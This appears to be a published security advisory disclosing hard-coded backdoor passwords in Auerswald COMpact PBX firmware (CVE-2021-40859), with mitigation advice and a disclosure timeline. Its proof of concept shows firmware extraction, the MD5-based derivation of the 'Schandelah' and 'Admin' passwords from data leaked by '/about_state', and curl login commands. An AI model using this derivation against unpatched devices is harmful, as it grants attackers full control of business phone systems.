Advisory: Auerswald COMpact Multiple Backdoors  
RedTeam Pentesting discovered several backdoors in the firmware for the  
Auerswald COMpact 5500R PBX. These backdoors allow attackers who are  
able to access the web-based management application full administrative  
access to the device.  
Product: COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP, COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")  
Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX)), <= 4.0S (COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP)  
Fixed Versions: 8.2B, 4.0T  
Vulnerability Type: Backdoor  
Security Risk: high  
Vendor URL:  
Vendor Status: fixed version released  
Advisory URL:  
Advisory Status: published  
CVE: CVE-2021-40859  
"Fully modular VoIP appliance for more efficient communication processes  
With the COMpact 5500R, you are originally equipped for everyday  
business - now and in the future.  
The fully modular architecture with 80 IP channels and all the functions  
of a large ITC server allows up to 112 subscribers and thus scales with  
your company.  
Continuous maintanance and expansion of the system software makes this  
versatile IP server a future-proof investment in any business  
(from the vendor's homepage)  
More Details  
Two backdoor passwords were found in the firmware of the COMpact 5500R  
PBX. One backdoor password is for the secret user "Schandelah", the  
other can be used for the highest-privileged user "Admin". No way was  
discovered to disable these backdoors.  
Proof of Concept  
The firmware for the COMpact 5500R can be downloaded from the vendor's  
homepage[1]. The following details refer to firmware version 7.8A, but  
the latest firmware at the time of writing (8.0B) is affected as well.  
Inspecting the downloaded file reveals that it is compressed and can be  
extracted with the program "gunzip":  
$ file 7_8A_002_COMpact5500.rom  
7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23  
15:04:43 2020, from Unix, original size 196976698  
$ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz  
$ gunzip 7_8A_002_COMpact5500.gz  
Analysing the resulting file again shows that it is an image file in the  
format required by the bootloader "Das U-Boot"[2], a popular bootloader  
for embedded devices:  
$ file 7_8A_002_COMpact5500.rom  
7_8A_002_COMpact5500.rom: u-boot legacy uImage, CP5500 125850, Linux/ARM,  
Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38  
2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0  
xCECA93E8, Data CRC: 0x99E65DF1  
The program "dumpimage" (included with u-boot) can be used to list the  
partitions in the image file:  
$ dumpimage -l 7_8A_002_COMpact5500.rom  
Image Name:  
CP5500 125850  
Wed Sep 23 17:04:38 2020  
Image Type:  
ARM Linux Multi-File Image (uncompressed)  
Data Size:  
196976634 Bytes = 192359.99 KiB = 187.85 MiB  
Load Address: 00000000  
Entry Point: 00000000  
Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB  
Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB  
The larger partition then was extracted into the file "rootfs" as  
$ dumpimage -i 7_8A_002_COMpact5500.rom -p 1 rootfs  
Contained in the file is an ext2-compatible file system, which was  
mounted at "/mnt" and inspected:  
$ file rootfs  
rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-  
f302d7f20ef1, volume name "7.8A_002_125850."  
$ sudo mount -o loop,ro rootfs /mnt  
$ cat /mnt/etc/passwd  
The PBX runs the web server lighttpd[3], the configuration files can be  
found in the folder "/opt/auerswald/lighttpd". The web server forwards  
most requests via FastCGI to the program "/opt/auerswald/web/webserver".  
This program can then be analysed, for example using the reverse  
engineering program Ghidra[4].  
The manual for the PBX reveals that in order to manage the device, users  
need to log in with the username "sub-admin". When this string is  
searched within the program in Ghidra, the function which checks  
passwords on login can be identified.  
It can easily be seen that besides the username "sub-admin" the function  
also checks for the hard-coded username "Schandelah", which is the  
village of Auerswald's headquarter. Further analysis revealed that the  
corresponding password for this username is derived by concatenating the  
PBX's serial number, the string "r2d2" and the current date, hashing it  
with the MD5 hash algorithm and taking the first seven lower-case hex  
chars of the result.  
All data needed to derive the password can be accessed without  
authentication by requesting the path "/about_state", which is also used  
on the website the PBX redirects users to who abort the password prompt  
(shortened and formatted to increase readability):  
$ curl --include  
HTTP/1.1 200 OK  
Content-Type: application/json; charset=utf-8;  
"pbx": "COMpact 5500R",  
"pbxType": 35,  
"pbxId": 0,  
"version": "Version 7.8A - Build 002 ",  
"serial": "1234123412",  
"date": "30.08.2021",  
The password can be derived as follows:  
$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}'  
This password can then be used for authentication:  
$ curl --include --user 'Schandelah:1432d89' --anyauth \  
HTTP/1.1 302 Found  
Location: /statics/html/page_servicetools.html  
Set-Cookie: AUERSessionID1234123412=AXCTMGGCCUAGBSE; HttpOnly; Path=/  
Next, the endpoint "/logstatus_state" can be queried using the returned  
session ID to check the access level:  
% curl --cookie 'AUERSessionID1234123412=AXCTMGGCCUAGBSE' --include \  
HTTP/1.1 200 OK  
X-XSS-Protection: 1  
Content-Type: application/json; charset=utf-8;  
The returned access level is "Haendler" (reseller). After login, the web  
server redirects to a special service page at the path  
"/statics/html/page_servicetools.html". Among other things, it allows to  
download a backup of all data on the device, configure audio recording  
and reset the password, PIN and token for the user "Admin". Accessing  
regular administrative functions is not possible directly with this user  
When inspecting the password checking function, a second backdoor can be  
found. When the username "Admin" is specified, the given password is  
tested against the configured password as well as a password derived in  
a similar way from the PBX's serial number, the string "r2d2", the  
current date and the configured language. The MD5 hash is taken and the  
specified password is tested against the first seven characters of the  
lower case hexadecimal hash.  
The backdoor password for the "Admin" user can be calculated as follows:  
$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}'  
The server returns a session ID for that password and the username  
$ curl --user 'Admin:92fcdd9' --anyauth --include \  
HTTP/1.1 200 OK  
Content-Type: application/json; charset=utf-8;  
Set-Cookie: AUERSessionID1234123412=MLJHCDLPMXPNKWY; HttpOnly; Path=/  
Checking the access level of the session reveals the status  
$ curl --cookie 'AUERSessionID1234123412=MLJHCDLPMXPNKWY' --include \  
HTTP/1.1 200 OK  
Content-Type: application/json; charset=utf-8;  
Disable or restrict access to the web-based management interface if  
Upgrade to a firmware version which corrects this vulnerability.  
Security Risk  
By inspecting the firmware for the COMpact 5500R PBX, attackers can  
easily discover two backdoor passwords. One password is for the secret  
user account with the username "Schandelah", the other works as an  
alternative password for the user "Admin". Using the backdoor, attackers  
are granted access to the PBX with the highest privileges, enabling them  
to completely compromise the device. The passwords are derived from the  
serial number, the current date and the configured language.  
The backdoor passwords are not documented. They secretly coexist with a  
documented password recovery function supported by the vendor. No way  
was found to disable the backdoor access.  
All information needed to derive the passwords can be requested over the  
network without authentication, so attackers only require network access  
to the web-based management interface.  
Due to the ease of exploitation and severe consequences, the backdoor  
passwords are rated as a high risk.  
2021-08-26 Vulnerability identified  
2021-09-01 Customer approved disclosure to vendor  
2021-09-10 Vendor notified  
2021-09-10 CVE ID requested  
2021-09-10 CVE ID assigned  
2021-10-05 Vendor provides access to device with fixed firmware  
2021-10-11 Vendor provides fixed firmware  
2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected  
2021-12-06 Advisory published  
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